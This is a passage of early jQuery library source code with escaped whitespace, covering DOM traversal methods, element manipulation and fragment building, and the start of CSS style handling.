l = this.length; i < l; i++ ) {\n\t\t\tlength = ret.length;\n\t\t\tjQuery.find( selector, this[i], ret );\n\n\t\t\tif ( i > 0 ) {\n\t\t\t\t// Make sure that the results are unique\n\t\t\t\tfor ( var n = length; n < ret.length; n++ ) {\n\t\t\t\t\tfor ( var r = 0; r < length; r++ ) {\n\t\t\t\t\t\tif ( ret[r] === ret[n] ) {\n\t\t\t\t\t\t\tret.splice(n--, 1);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t},\n\n\thas: function( target ) {\n\t\tvar targets = jQuery( target );\n\t\treturn this.filter(function() {\n\t\t\tfor ( var i = 0, l = targets.length; i < l; i++ ) {\n\t\t\t\tif ( jQuery.contains( this, targets[i] ) ) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t},\n\n\tnot: function( selector ) {\n\t\treturn this.pushStack( winnow(this, selector, false), \"not\", selector);\n\t},\n\n\tfilter: function( selector ) {\n\t\treturn this.pushStack( winnow(this, selector, true), \"filter\", selector );\n\t},\n\n\tis: function( selector ) {\n\t\treturn !!selector && jQuery.filter( selector, this ).length > 0;\n\t},\n\n\tclosest: function( selectors, context ) {\n\t\tif ( jQuery.isArray( selectors ) ) {\n\t\t\tvar ret = [], cur = this[0], match, matches = {}, selector;\n\n\t\t\tif ( cur && selectors.length ) {\n\t\t\t\tfor ( var i = 0, l = selectors.length; i < l; i++ ) {\n\t\t\t\t\tselector = selectors[i];\n\n\t\t\t\t\tif ( !matches[selector] ) {\n\t\t\t\t\t\tmatches[selector] = jQuery.expr.match.POS.test( selector ) ?\n\t\t\t\t\t\t\tjQuery( selector, context || this.context ) :\n\t\t\t\t\t\t\tselector;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\twhile ( cur && cur.ownerDocument && cur !== context ) {\n\t\t\t\t\tfor ( selector in matches ) {\n\t\t\t\t\t\tmatch = matches[selector];\n\n\t\t\t\t\t\tif ( match.jquery ? match.index(cur) > -1 : jQuery(cur).is(match) ) {\n\t\t\t\t\t\t\tret.push({ selector: selector, elem: cur });\n\t\t\t\t\t\t\tdelete matches[selector];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tcur = cur.parentNode;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn ret;\n\t\t}\n\n\t\tvar pos = jQuery.expr.match.POS.test( selectors ) ?\n\t\t\tjQuery( selectors, context || this.context ) : null;\n\n\t\treturn this.map(function( i, cur ) {\n\t\t\twhile ( cur && cur.ownerDocument && cur !== context ) {\n\t\t\t\tif ( pos ? pos.index(cur) > -1 : jQuery(cur).is(selectors) ) {\n\t\t\t\t\treturn cur;\n\t\t\t\t}\n\t\t\t\tcur = cur.parentNode;\n\t\t\t}\n\t\t\treturn null;\n\t\t});\n\t},\n\n\t// Determine the position of an element within\n\t// the matched set of elements\n\tindex: function( elem ) {\n\t\tif ( !elem || typeof elem === \"string\" ) {\n\t\t\treturn jQuery.inArray( this[0],\n\t\t\t\t// If it receives a string, the selector is used\n\t\t\t\t// If it receives nothing, the siblings are used\n\t\t\t\telem ? jQuery( elem ) : this.parent().children() );\n\t\t}\n\t\t// Locate the position of the desired element\n\t\treturn jQuery.inArray(\n\t\t\t// If it receives a jQuery object, the first element is used\n\t\t\telem.jquery ? elem[0] : elem, this );\n\t},\n\n\tadd: function( selector, context ) {\n\t\tvar set = typeof selector === \"string\" ?\n\t\t\t\tjQuery( selector, context || this.context ) :\n\t\t\t\tjQuery.makeArray( selector ),\n\t\t\tall = jQuery.merge( this.get(), set );\n\n\t\treturn this.pushStack( isDisconnected( set[0] ) || isDisconnected( all[0] ) ?\n\t\t\tall :\n\t\t\tjQuery.unique( all ) );\n\t},\n\n\tandSelf: function() {\n\t\treturn this.add( this.prevObject );\n\t}\n});\n\n// A painfully simple check to see if an element is disconnected\n// from a document (should be improved, where feasible).\nfunction isDisconnected( node ) {\n\treturn !node || !node.parentNode || node.parentNode.nodeType === 11;\n}\n\njQuery.each({\n\tparent: function( elem ) {\n\t\tvar parent = elem.parentNode;\n\t\treturn parent && parent.nodeType !== 11 ? parent : null;\n\t},\n\tparents: function( elem ) {\n\t\treturn jQuery.dir( elem, \"parentNode\" );\n\t},\n\tparentsUntil: function( elem, i, until ) {\n\t\treturn jQuery.dir( elem, \"parentNode\", until );\n\t},\n\tnext: function( elem ) {\n\t\treturn jQuery.nth( elem, 2, \"nextSibling\" );\n\t},\n\tprev: function( elem ) {\n\t\treturn jQuery.nth( elem, 2, \"previousSibling\" );\n\t},\n\tnextAll: function( elem ) {\n\t\treturn jQuery.dir( elem, \"nextSibling\" );\n\t},\n\tprevAll: function( elem ) {\n\t\treturn jQuery.dir( elem, \"previousSibling\" );\n\t},\n\tnextUntil: function( elem, i, until ) {\n\t\treturn jQuery.dir( elem, \"nextSibling\", until );\n\t},\n\tprevUntil: function( elem, i, until ) {\n\t\treturn jQuery.dir( elem, \"previousSibling\", until );\n\t},\n\tsiblings: function( elem ) {\n\t\treturn jQuery.sibling( elem.parentNode.firstChild, elem );\n\t},\n\tchildren: function( elem ) {\n\t\treturn jQuery.sibling( elem.firstChild );\n\t},\n\tcontents: function( elem ) {\n\t\treturn jQuery.nodeName( elem, \"iframe\" ) ?\n\t\t\telem.contentDocument || elem.contentWindow.document :\n\t\t\tjQuery.makeArray( elem.childNodes );\n\t}\n}, function( name, fn ) {\n\tjQuery.fn[ name ] = function( until, selector ) {\n\t\tvar ret = jQuery.map( this, fn, until );\n\n\t\tif ( !runtil.test( name ) ) {\n\t\t\tselector = until;\n\t\t}\n\n\t\tif ( selector && typeof selector === \"string\" ) {\n\t\t\tret = jQuery.filter( selector, ret );\n\t\t}\n\n\t\tret = this.length > 1 ? jQuery.unique( ret ) : ret;\n\n\t\tif ( (this.length > 1 || rmultiselector.test( selector )) && rparentsprev.test( name ) ) {\n\t\t\tret = ret.reverse();\n\t\t}\n\n\t\treturn this.pushStack( ret, name, slice.call(arguments).join(\",\") );\n\t};\n});\n\njQuery.extend({\n\tfilter: function( expr, elems, not ) {\n\t\tif ( not ) {\n\t\t\texpr = \":not(\" + expr + \")\";\n\t\t}\n\n\t\treturn jQuery.find.matches(expr, elems);\n\t},\n\n\tdir: function( elem, dir, until ) {\n\t\tvar matched = [], cur = elem[dir];\n\t\twhile ( cur && cur.nodeType !== 9 && (until === undefined || cur.nodeType !== 1 || !jQuery( cur ).is( until )) ) {\n\t\t\tif ( cur.nodeType === 1 ) {\n\t\t\t\tmatched.push( cur );\n\t\t\t}\n\t\t\tcur = cur[dir];\n\t\t}\n\t\treturn matched;\n\t},\n\n\tnth: function( cur, result, dir, elem ) {\n\t\tresult = result || 1;\n\t\tvar num = 0;\n\n\t\tfor ( ; cur; cur = cur[dir] ) {\n\t\t\tif ( cur.nodeType === 1 && ++num === result ) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\treturn cur;\n\t},\n\n\tsibling: function( n, elem ) {\n\t\tvar r = [];\n\n\t\tfor ( ; n; n = n.nextSibling ) {\n\t\t\tif ( n.nodeType === 1 && n !== elem ) {\n\t\t\t\tr.push( n );\n\t\t\t}\n\t\t}\n\n\t\treturn r;\n\t}\n});\nvar rinlinejQuery = / jQuery\\d+=\"(?:\\d+|null)\"/g,\n\trleadingWhitespace = /^\\s+/,\n\trxhtmlTag = /(<([\\w:]+)[^>]*?)\\/>/g,\n\trselfClosing = /^(?:area|br|col|embed|hr|img|input|link|meta|param)$/i,\n\trtagName = /<([\\w:]+)/,\n\trtbody = /<tbody/i,\n\trhtml = /<|&\\w+;/,\n\trchecked = /checked\\s*(?:[^=]|=\\s*.checked.)/i,  // checked=\"checked\" or checked (html5)\n\tfcloseTag = function( all, front, tag ) {\n\t\treturn rselfClosing.test( tag ) ?\n\t\t\tall :\n\t\t\tfront + \"></\" + tag + \">\";\n\t},\n\twrapMap = {\n\t\toption: [ 1, \"<select multiple='multiple'>\", \"</select>\" ],\n\t\tlegend: [ 1, \"<fieldset>\", \"</fieldset>\" ],\n\t\tthead: [ 1, \"<table>\", \"</table>\" ],\n\t\ttr: [ 2, \"<table><tbody>\", \"</tbody></table>\" ],\n\t\ttd: [ 3, \"<table><tbody><tr>\", \"</tr></tbody></table>\" ],\n\t\tcol: [ 2, \"<table><tbody></tbody><colgroup>\", \"</colgroup></table>\" ],\n\t\tarea: [ 1, \"<map>\", \"</map>\" ],\n\t\t_default: [ 0, \"\", \"\" ]\n\t};\n\nwrapMap.optgroup = wrapMap.option;\nwrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;\nwrapMap.th = wrapMap.td;\n\n// IE can't serialize <link> and <script> tags normally\nif ( !jQuery.support.htmlSerialize ) {\n\twrapMap._default = [ 1, \"div<div>\", \"</div>\" ];\n}\n\njQuery.fn.extend({\n\ttext: function( text ) {\n\t\tif ( jQuery.isFunction(text) ) {\n\t\t\treturn this.each(function(i) {\n\t\t\t\tvar self = jQuery(this);\n\t\t\t\tself.text( text.call(this, i, self.text()) );\n\t\t\t});\n\t\t}\n\n\t\tif ( typeof text !== \"object\" && text !== undefined ) {\n\t\t\treturn this.empty().append( (this[0] && this[0].ownerDocument || document).createTextNode( text ) );\n\t\t}\n\n\t\treturn jQuery.getText( this );\n\t},\n\n\twrapAll: function( html ) {\n\t\tif ( jQuery.isFunction( html ) ) {\n\t\t\treturn this.each(function(i) {\n\t\t\t\tjQuery(this).wrapAll( html.call(this, i) );\n\t\t\t});\n\t\t}\n\n\t\tif ( this[0] ) {\n\t\t\t// The elements to wrap the target around\n\t\t\tvar wrap = jQuery( html, this[0].ownerDocument ).eq(0).clone(true);\n\n\t\t\tif ( this[0].parentNode ) {\n\t\t\t\twrap.insertBefore( this[0] );\n\t\t\t}\n\n\t\t\twrap.map(function() {\n\t\t\t\tvar elem = this;\n\n\t\t\t\twhile ( elem.firstChild && elem.firstChild.nodeType === 1 ) {\n\t\t\t\t\telem = elem.firstChild;\n\t\t\t\t}\n\n\t\t\t\treturn elem;\n\t\t\t}).append(this);\n\t\t}\n\n\t\treturn this;\n\t},\n\n\twrapInner: function( html ) {\n\t\tif ( jQuery.isFunction( html ) ) {\n\t\t\treturn this.each(function(i) {\n\t\t\t\tjQuery(this).wrapInner( html.call(this, i) );\n\t\t\t});\n\t\t}\n\n\t\treturn this.each(function() {\n\t\t\tvar self = jQuery( this ), contents = self.contents();\n\n\t\t\tif ( contents.length ) {\n\t\t\t\tcontents.wrapAll( html );\n\n\t\t\t} else {\n\t\t\t\tself.append( html );\n\t\t\t}\n\t\t});\n\t},\n\n\twrap: function( html ) {\n\t\treturn this.each(function() {\n\t\t\tjQuery( this ).wrapAll( html );\n\t\t});\n\t},\n\n\tunwrap: function() {\n\t\treturn this.parent().each(function() {\n\t\t\tif ( !jQuery.nodeName( this, \"body\" ) ) {\n\t\t\t\tjQuery( this ).replaceWith( this.childNodes );\n\t\t\t}\n\t\t}).end();\n\t},\n\n\tappend: function() {\n\t\treturn this.domManip(arguments, true, function( elem ) {\n\t\t\tif ( this.nodeType === 1 ) {\n\t\t\t\tthis.appendChild( elem );\n\t\t\t}\n\t\t});\n\t},\n\n\tprepend: function() {\n\t\treturn this.domManip(arguments, true, function( elem ) {\n\t\t\tif ( this.nodeType === 1 ) {\n\t\t\t\tthis.insertBefore( elem, this.firstChild );\n\t\t\t}\n\t\t});\n\t},\n\n\tbefore: function() {\n\t\tif ( this[0] && this[0].parentNode ) {\n\t\t\treturn this.domManip(arguments, false, function( elem ) {\n\t\t\t\tthis.parentNode.insertBefore( elem, this );\n\t\t\t});\n\t\t} else if ( arguments.length ) {\n\t\t\tvar set = jQuery(arguments[0]);\n\t\t\tset.push.apply( set, this.toArray() );\n\t\t\treturn this.pushStack( set, \"before\", arguments );\n\t\t}\n\t},\n\n\tafter: function() {\n\t\tif ( this[0] && this[0].parentNode ) {\n\t\t\treturn this.domManip(arguments, false, function( elem ) {\n\t\t\t\tthis.parentNode.insertBefore( elem, this.nextSibling );\n\t\t\t});\n\t\t} else if ( arguments.length ) {\n\t\t\tvar set = this.pushStack( this, \"after\", arguments );\n\t\t\tset.push.apply( set, jQuery(arguments[0]).toArray() );\n\t\t\treturn set;\n\t\t}\n\t},\n\n\tclone: function( events ) {\n\t\t// Do the clone\n\t\tvar ret = this.map(function() {\n\t\t\tif ( !jQuery.support.noCloneEvent && !jQuery.isXMLDoc(this) ) {\n\t\t\t\t// IE copies events bound via attachEvent when\n\t\t\t\t// using cloneNode. Calling detachEvent on the\n\t\t\t\t// clone will also remove the events from the orignal\n\t\t\t\t// In order to get around this, we use innerHTML.\n\t\t\t\t// Unfortunately, this means some modifications to\n\t\t\t\t// attributes in IE that are actually only stored\n\t\t\t\t// as properties will not be copied (such as the\n\t\t\t\t// the name attribute on an input).\n\t\t\t\tvar html = this.outerHTML, ownerDocument = this.ownerDocument;\n\t\t\t\tif ( !html ) {\n\t\t\t\t\tvar div = ownerDocument.createElement(\"div\");\n\t\t\t\t\tdiv.appendChild( this.cloneNode(true) );\n\t\t\t\t\thtml = div.innerHTML;\n\t\t\t\t}\n\n\t\t\t\treturn jQuery.clean([html.replace(rinlinejQuery, \"\")\n\t\t\t\t\t.replace(rleadingWhitespace, \"\")], ownerDocument)[0];\n\t\t\t} else {\n\t\t\t\treturn this.cloneNode(true);\n\t\t\t}\n\t\t});\n\n\t\t// Copy the events from the original to the clone\n\t\tif ( events === true ) {\n\t\t\tcloneCopyEvent( this, ret );\n\t\t\tcloneCopyEvent( this.find(\"*\"), ret.find(\"*\") );\n\t\t}\n\n\t\t// Return the cloned set\n\t\treturn ret;\n\t},\n\n\thtml: function( value ) {\n\t\tif ( value === undefined ) {\n\t\t\treturn this[0] && this[0].nodeType === 1 ?\n\t\t\t\tthis[0].innerHTML.replace(rinlinejQuery, \"\") :\n\t\t\t\tnull;\n\n\t\t// See if we can take a shortcut and just use innerHTML\n\t\t} else if ( typeof value === \"string\" && !/<script/i.test( value ) &&\n\t\t\t(jQuery.support.leadingWhitespace || !rleadingWhitespace.test( value )) &&\n\t\t\t!wrapMap[ (rtagName.exec( value ) || [\"\", \"\"])[1].toLowerCase() ] ) {\n\n\t\t\tvalue = value.replace(rxhtmlTag, fcloseTag);\n\n\t\t\ttry {\n\t\t\t\tfor ( var i = 0, l = this.length; i < l; i++ ) {\n\t\t\t\t\t// Remove element nodes and prevent memory leaks\n\t\t\t\t\tif ( this[i].nodeType === 1 ) {\n\t\t\t\t\t\tjQuery.cleanData( this[i].getElementsByTagName(\"*\") );\n\t\t\t\t\t\tthis[i].innerHTML = value;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t// If using innerHTML throws an exception, use the fallback method\n\t\t\t} catch(e) {\n\t\t\t\tthis.empty().append( value );\n\t\t\t}\n\n\t\t} else if ( jQuery.isFunction( value ) ) {\n\t\t\tthis.each(function(i){\n\t\t\t\tvar self = jQuery(this), old = self.html();\n\t\t\t\tself.empty().append(function(){\n\t\t\t\t\treturn value.call( this, i, old );\n\t\t\t\t});\n\t\t\t});\n\n\t\t} else {\n\t\t\tthis.empty().append( value );\n\t\t}\n\n\t\treturn this;\n\t},\n\n\treplaceWith: function( value ) {\n\t\tif ( this[0] && this[0].parentNode ) {\n\t\t\t// Make sure that the elements are removed from the DOM before they are inserted\n\t\t\t// this can help fix replacing a parent with child elements\n\t\t\tif ( !jQuery.isFunction( value ) ) {\n\t\t\t\tvalue = jQuery( value ).detach();\n\n\t\t\t} else {\n\t\t\t\treturn this.each(function(i) {\n\t\t\t\t\tvar self = jQuery(this), old = self.html();\n\t\t\t\t\tself.replaceWith( value.call( this, i, old ) );\n\t\t\t\t});\n\t\t\t}\n\n\t\t\treturn this.each(function() {\n\t\t\t\tvar next = this.nextSibling, parent = this.parentNode;\n\n\t\t\t\tjQuery(this).remove();\n\n\t\t\t\tif ( next ) {\n\t\t\t\t\tjQuery(next).before( value );\n\t\t\t\t} else {\n\t\t\t\t\tjQuery(parent).append( value );\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\treturn this.pushStack( jQuery(jQuery.isFunction(value) ? value() : value), \"replaceWith\", value );\n\t\t}\n\t},\n\n\tdetach: function( selector ) {\n\t\treturn this.remove( selector, true );\n\t},\n\n\tdomManip: function( args, table, callback ) {\n\t\tvar results, first, value = args[0], scripts = [];\n\n\t\t// We can't cloneNode fragments that contain checked, in WebKit\n\t\tif ( !jQuery.support.checkClone && arguments.length === 3 && typeof value === \"string\" && rchecked.test( value ) ) {\n\t\t\treturn this.each(function() {\n\t\t\t\tjQuery(this).domManip( args, table, callback, true );\n\t\t\t});\n\t\t}\n\n\t\tif ( jQuery.isFunction(value) ) {\n\t\t\treturn this.each(function(i) {\n\t\t\t\tvar self = jQuery(this);\n\t\t\t\targs[0] = value.call(this, i, table ? self.html() : undefined);\n\t\t\t\tself.domManip( args, table, callback );\n\t\t\t});\n\t\t}\n\n\t\tif ( this[0] ) {\n\t\t\t// If we're in a fragment, just use that instead of building a new one\n\t\t\tif ( args[0] && args[0].parentNode && args[0].parentNode.nodeType === 11 ) {\n\t\t\t\tresults = { fragment: args[0].parentNode };\n\t\t\t} else {\n\t\t\t\tresults = buildFragment( args, this, scripts );\n\t\t\t}\n\n\t\t\tfirst = results.fragment.firstChild;\n\n\t\t\tif ( first ) {\n\t\t\t\ttable = table && jQuery.nodeName( first, \"tr\" );\n\n\t\t\t\tfor ( var i = 0, l = this.length; i < l; i++ ) {\n\t\t\t\t\tcallback.call(\n\t\t\t\t\t\ttable ?\n\t\t\t\t\t\t\troot(this[i], first) :\n\t\t\t\t\t\t\tthis[i],\n\t\t\t\t\t\tresults.cacheable || this.length > 1 || i > 0 ?\n\t\t\t\t\t\t\tresults.fragment.cloneNode(true) :\n\t\t\t\t\t\t\tresults.fragment\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( scripts ) {\n\t\t\t\tjQuery.each( scripts, evalScript );\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\n\t\tfunction root( elem, cur ) {\n\t\t\treturn jQuery.nodeName(elem, \"table\") ?\n\t\t\t\t(elem.getElementsByTagName(\"tbody\")[0] ||\n\t\t\t\telem.appendChild(elem.ownerDocument.createElement(\"tbody\"))) :\n\t\t\t\telem;\n\t\t}\n\t}\n});\n\nfunction cloneCopyEvent(orig, ret) {\n\tvar i = 0;\n\n\tret.each(function() {\n\t\tif ( this.nodeName !== (orig[i] && orig[i].nodeName) ) {\n\t\t\treturn;\n\t\t}\n\n\t\tvar oldData = jQuery.data( orig[i++] ), curData = jQuery.data( this, oldData ), events = oldData && oldData.events;\n\n\t\tif ( events ) {\n\t\t\tdelete curData.handle;\n\t\t\tcurData.events = {};\n\n\t\t\tfor ( var type in events ) {\n\t\t\t\tfor ( var handler in events[ type ] ) {\n\t\t\t\t\tjQuery.event.add( this, type, events[ type ][ handler ], events[ type ][ handler ].data );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t});\n}\n\nfunction buildFragment( args, nodes, scripts ) {\n\tvar fragment, cacheable, cacheresults, doc;\n\n\t// webkit does not clone 'checked' attribute of radio inputs on cloneNode, so don't cache if string has a checked\n\tif ( args.length === 1 && typeof args[0] === \"string\" && args[0].length < 512 && args[0].indexOf(\"<option\") < 0 && (jQuery.support.checkClone || !rchecked.test( args[0] )) ) {\n\t\tcacheable = true;\n\t\tcacheresults = jQuery.fragments[ args[0] ];\n\t\tif ( cacheresults ) {\n\t\t\tif ( cacheresults !== 1 ) {\n\t\t\t\tfragment = cacheresults;\n\t\t\t}\n\t\t}\n\t}\n\n\tif ( !fragment ) {\n\t\tdoc = (nodes && nodes[0] ? nodes[0].ownerDocument || nodes[0] : document);\n\t\tfragment = doc.createDocumentFragment();\n\t\tjQuery.clean( args, doc, fragment, scripts );\n\t}\n\n\tif ( cacheable ) {\n\t\tjQuery.fragments[ args[0] ] = cacheresults ? fragment : 1;\n\t}\n\n\treturn { fragment: fragment, cacheable: cacheable };\n}\n\njQuery.fragments = {};\n\njQuery.each({\n\tappendTo: \"append\",\n\tprependTo: \"prepend\",\n\tinsertBefore: \"before\",\n\tinsertAfter: \"after\",\n\treplaceAll: \"replaceWith\"\n}, function( name, original ) {\n\tjQuery.fn[ name ] = function( selector ) {\n\t\tvar ret = [], insert = jQuery( selector );\n\n\t\tfor ( var i = 0, l = insert.length; i < l; i++ ) {\n\t\t\tvar elems = (i > 0 ? this.clone(true) : this).get();\n\t\t\tjQuery.fn[ original ].apply( jQuery(insert[i]), elems );\n\t\t\tret = ret.concat( elems );\n\t\t}\n\t\treturn this.pushStack( ret, name, insert.selector );\n\t};\n});\n\njQuery.each({\n\t// keepData is for internal use only--do not document\n\tremove: function( selector, keepData ) {\n\t\tif ( !selector || jQuery.filter( selector, [ this ] ).length ) {\n\t\t\tif ( !keepData && this.nodeType === 1 ) {\n\t\t\t\tjQuery.cleanData( this.getElementsByTagName(\"*\") );\n\t\t\t\tjQuery.cleanData( [ this ] );\n\t\t\t}\n\n\t\t\tif ( this.parentNode ) {\n\t\t\t\t this.parentNode.removeChild( this );\n\t\t\t}\n\t\t}\n\t},\n\n\tempty: function() {\n\t\t// Remove element nodes and prevent memory leaks\n\t\tif ( this.nodeType === 1 ) {\n\t\t\tjQuery.cleanData( this.getElementsByTagName(\"*\") );\n\t\t}\n\n\t\t// Remove any remaining nodes\n\t\twhile ( this.firstChild ) {\n\t\t\tthis.removeChild( this.firstChild );\n\t\t}\n\t}\n}, function( name, fn ) {\n\tjQuery.fn[ name ] = function() {\n\t\treturn this.each( fn, arguments );\n\t};\n});\n\njQuery.extend({\n\tclean: function( elems, context, fragment, scripts ) {\n\t\tcontext = context || document;\n\n\t\t// !context.createElement fails in IE with an error but returns typeof 'object'\n\t\tif ( typeof context.createElement === \"undefined\" ) {\n\t\t\tcontext = context.ownerDocument || context[0] && context[0].ownerDocument || document;\n\t\t}\n\n\t\tvar ret = [];\n\n\t\tjQuery.each(elems, function( i, elem ) {\n\t\t\tif ( typeof elem === \"number\" ) {\n\t\t\t\telem += \"\";\n\t\t\t}\n\n\t\t\tif ( !elem ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// Convert html string into DOM nodes\n\t\t\tif ( typeof elem === \"string\" && !rhtml.test( elem ) ) {\n\t\t\t\telem = context.createTextNode( elem );\n\n\t\t\t} else if ( typeof elem === \"string\" ) {\n\t\t\t\t// Fix \"XHTML\"-style tags in all browsers\n\t\t\t\telem = elem.replace(rxhtmlTag, fcloseTag);\n\n\t\t\t\t// Trim whitespace, otherwise indexOf won't work as expected\n\t\t\t\tvar tag = (rtagName.exec( elem ) || [\"\", \"\"])[1].toLowerCase(),\n\t\t\t\t\twrap = wrapMap[ tag ] || wrapMap._default,\n\t\t\t\t\tdepth = wrap[0],\n\t\t\t\t\tdiv = context.createElement(\"div\");\n\n\t\t\t\t// Go to html and back, then peel off extra wrappers\n\t\t\t\tdiv.innerHTML = wrap[1] + elem + wrap[2];\n\n\t\t\t\t// Move to the right depth\n\t\t\t\twhile ( depth-- ) {\n\t\t\t\t\tdiv = div.lastChild;\n\t\t\t\t}\n\n\t\t\t\t// Remove IE's autoinserted <tbody> from table fragments\n\t\t\t\tif ( !jQuery.support.tbody ) {\n\n\t\t\t\t\t// String was a <table>, *may* have spurious <tbody>\n\t\t\t\t\tvar hasBody = rtbody.test(elem),\n\t\t\t\t\t\ttbody = tag === \"table\" && !hasBody ?\n\t\t\t\t\t\t\tdiv.firstChild && div.firstChild.childNodes :\n\n\t\t\t\t\t\t\t// String was a bare <thead> or <tfoot>\n\t\t\t\t\t\t\twrap[1] === \"<table>\" && !hasBody ?\n\t\t\t\t\t\t\t\tdiv.childNodes :\n\t\t\t\t\t\t\t\t[];\n\n\t\t\t\t\tfor ( var j = tbody.length - 1; j >= 0 ; --j ) {\n\t\t\t\t\t\tif ( jQuery.nodeName( tbody[ j ], \"tbody\" ) && !tbody[ j ].childNodes.length ) {\n\t\t\t\t\t\t\ttbody[ j ].parentNode.removeChild( tbody[ j ] );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\t// IE completely kills leading whitespace when innerHTML is used\n\t\t\t\tif ( !jQuery.support.leadingWhitespace && rleadingWhitespace.test( elem ) ) {\n\t\t\t\t\tdiv.insertBefore( context.createTextNode( rleadingWhitespace.exec(elem)[0] ), div.firstChild );\n\t\t\t\t}\n\n\t\t\t\telem = jQuery.makeArray( div.childNodes );\n\t\t\t}\n\n\t\t\tif ( elem.nodeType ) {\n\t\t\t\tret.push( elem );\n\t\t\t} else {\n\t\t\t\tret = jQuery.merge( ret, elem );\n\t\t\t}\n\n\t\t});\n\n\t\tif ( fragment ) {\n\t\t\tfor ( var i = 0; ret[i]; i++ ) {\n\t\t\t\tif ( scripts && jQuery.nodeName( ret[i], \"script\" ) && (!ret[i].type || ret[i].type.toLowerCase() === \"text/javascript\") ) {\n\t\t\t\t\tscripts.push( ret[i].parentNode ? ret[i].parentNode.removeChild( ret[i] ) : ret[i] );\n\t\t\t\t} else {\n\t\t\t\t\tif ( ret[i].nodeType === 1 ) {\n\t\t\t\t\t\tret.splice.apply( ret, [i + 1, 0].concat(jQuery.makeArray(ret[i].getElementsByTagName(\"script\"))) );\n\t\t\t\t\t}\n\t\t\t\t\tfragment.appendChild( ret[i] );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t},\n\n\tcleanData: function( elems ) {\n\t\tfor ( var i = 0, elem, id; (elem = elems[i]) != null; i++ ) {\n\t\t\tjQuery.event.remove( elem );\n\t\t\tjQuery.removeData( elem );\n\t\t}\n\t}\n});\n// exclude the following css properties to add px\nvar rexclude = /z-?index|font-?weight|opacity|zoom|line-?height/i,\n\tralpha = /alpha\\([^)]*\\)/,\n\tropacity = /opacity=([^)]*)/,\n\trfloat = /float/i,\n\trdashAlpha = /-([a-z])/ig,\n\trupper = /([A-Z])/g,\n\trnumpx = /^-?\\d+(?:px)?$/i,\n\trnum = /^-?\\d/,\n\n\tcssShow = { position: \"absolute\", visibility: \"hidden\", display:\"block\" },\n\tcssWidth = [ \"Left\", \"Right\" ],\n\tcssHeight = [ \"Top\", \"Bottom\" ],\n\n\t// cache check for defaultView.getComputedStyle\n\tgetComputedStyle = document.defaultView && document.defaultView.getComputedStyle,\n\t// normalize float css property\n\tstyleFloat = jQuery.support.cssFloat ? \"cssFloat\" : \"styleFloat\",\n\tfcamelCase = function( all, letter ) {\n\t\treturn letter.toUpperCase();\n\t};\n\njQuery.fn.css = function( name, value ) {\n\treturn access( this, name, value, true, function( elem, name, value ) {\n\t\tif ( value === undefined ) {\n\t\t\treturn jQuery.curCSS( elem, name );\n\t\t}\n\n\t\tif ( typeof value === \"number\" && !rexclude.test(name) ) {\n\t\t\tvalue += \"px\";\n\t\t}\n\n\t\tjQuery.style( elem, name, value );\n\t});\n};\n\njQuery.extend({\n\tstyle: function( elem, name, value ) {\n\t\t// don't set styles on text and comment nodes\n\t\tif ( !elem || elem.nodeType === 3 || elem.nodeType === 8 ) {\n\t\t\treturn undefined;\n\t\t}\n\n\t\t// ignore negative width and height values #1599\n\t\tif ( (name === \"width\" || name === \"height\") && parseFloat(value) < 0 ) {\n\t\t\tvalue = undefined;\n\t\t}\n\n\t\tvar style = elem.style || elem, set = value !== undefined;\n\n\t\t// IE uses filters for opacity\n\t\tif ( !jQuery.support.opacity && name === \"opacity\" ) {\n\t\t\tif ( set ) {\n\t\t\t\t// IE has trouble with opacity if it does not have layout\n\t\t\t\t// Force it by setting the zoom level\n\t\t\t\tstyle.zoom = 1;\n\n\t\t\t\t// Set the alpha filter to set the opacity\n\t\t\t\tvar opacity = parseInt( value, 10 ) + \"\" === \"NaN\" ? \"\" : \"alpha(opacity=\" + value * 100 + \")\";\n\t\t\t\tvar filter = style.filter || jQuery.curCSS( elem, \"filter\" ) || \"\";\n\t\t\t\tstyle.filter = ralpha.test(filter) ? filter.replace(ralpha, opacity) : opacity;\n\t\t\t}\n\n\t\t\treturn style.filter && style.filter.indexOf(\"opacity=\") >= 0 ?\n\t\t\t\t(parseFloat( ropacity.exec(style.filter)[1] ) / 100) + \"\":\n\t\t\t\t\"\";\n\t\t}\n\n\t\t// Make sure we're using the right name for getting the float value\n\t\tif ( rfloat.test( name ) ) {\n\t\t\tname = styleFloat;\n\t\t}\n\n\t\tname = name.replace(rdashAlpha, fcamelCase);\n\n\t\tif ( set ) {\n\t\t\tstyle[ name ] = value;\n\t\t}\n\n\t\treturn style[ name ];\n\t},\n\n\tcss: function( elem, name, force, extra ) {\n\t\tif ( name === \"width\" || name === \"height\" ) {\n\t\t\tvar val, props = cssShow, which = name === \"width\" ? cssWidth : cssHeight;\n\n\t\t\tfunction getWH() {\n\t\t\t\tval = name === \"width\" ? elem.offsetWidth : elem.offsetHeight;\n\n\t\t\t\tif ( extra === \"border\" ) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\tjQuery.each( which, function() {\n\t\t\t\t\tif ( !extra ) {\n\t\t\t\t\t\tval -= parseFloat(jQuery.curCSS( elem, \"padding\" + this, true)) || 0;\n\t\t\t\t\t}\n\n\t\t\t\t\tif ( extra === \"margin\" ) {\n\t\t\t\t\t\tval += parseFloat(jQuery.curCSS( elem, \"margin\" + this, true)) || 0;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tval -= parseFloat(jQuery.curCSS( elem, \"border\" + this + \"Width\", true)) || 